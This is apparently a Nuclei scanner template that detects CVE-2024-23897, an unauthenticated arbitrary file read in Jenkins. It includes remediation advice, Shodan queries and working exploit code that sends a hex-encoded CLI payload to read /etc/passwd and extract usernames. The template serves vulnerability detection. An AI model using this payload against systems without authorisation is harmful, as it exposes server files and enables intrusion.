id: CVE-2024-23897

info:
  name: Jenkins < 2.441 - Arbitrary File Read
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.
  impact: |
    Unauthenticated attackers can read arbitrary files on the Jenkins controller file system by exploiting the CLI command parser's '@' file path replacement feature.
  remediation: |
    Upgrade Jenkins to version 2.442 or later, or LTS 2.426.3 or later that disables the vulnerable file path replacement feature.
  reference:
    - https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314
    - https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/
    - https://github.com/forsaken0127/CVE-2024-23897
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-23897
    epss-score: 0.94466
    epss-percentile: 0.99996
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: jenkins
    product: jenkins
    shodan-query:
      - "product:\"Jenkins\""
      - cpe:"cpe:2.3:a:jenkins:jenkins"
      - http.favicon.hash:81586312
      - product:"jenkins"
    fofa-query: icon_hash=81586312
  tags: cve,cve2024,lfi,rce,jenkins,js,kev,vkev,vuln

variables:
  payload: "{{hex_decode('0000000e00000c636f6e6e6563742d6e6f64650000000e00000c402f6574632f706173737764000000070200055554462d3800000007010005656e5f41450000000003')}}"

javascript:
  - pre-condition: |
      isPortOpen(Host,Port);
    code: |
      let m = require('nuclei/net');
      let address = `${Host}:${Port}`;
      let session_id = 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, c => (c === 'x' ? Math.random() * 16 | 0 : (Math.random() * 16 | 0 & 0x3 | 0x8)).toString(16));
      let conn, conn2;

      try { conn = m.OpenTLS('tcp', address) } catch { conn = m.Open('tcp', address)}
      conn.Send(`POST /cli?remoting=false HTTP/1.1\r\nHost:${Host}\r\nSession: ${session_id}\r\nSide: download\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n`);
      resp = conn.RecvString(1000)

      try { conn2 = m.OpenTLS('tcp', address) } catch { conn2 = m.Open('tcp', address)}
      conn2.Send(`POST /cli?remoting=false HTTP/1.1\r\nHost:${Host}\r\nContent-type: application/octet-stream\r\nSession: ${session_id}\r\nSide: upload\r\nConnection: keep-alive\r\nContent-Length: 163\r\n\r\n${Body}`)
      resp2 = conn.RecvString(1000)

    args:
      Body: "{{payload}}"
      Host: "{{Host}}"
      Port: 80,443 # if port not specified, defaults to both 80 and 443
      exclude-ports: "0" # override default skip list of 80,443,8080,8443

    matchers:
      - type: dsl
        dsl:
          - 'contains(response, "No such agent \"")'

    extractors:
      - type: regex
        group: 1
        regex:
          - '\b([a-z_][a-z0-9_-]{0,31})\:x\:'
# digest: 4a0a0047304502201ab6ecfd885155094316012a8f2d0b27c6c3569801f44759fb0799491c565e47022100930df5c2e7dcb5de19ab218c6a202b250dcc2c74c31f64f66f7722046ef6d274:922c64590222798bb761d5b6d8e72950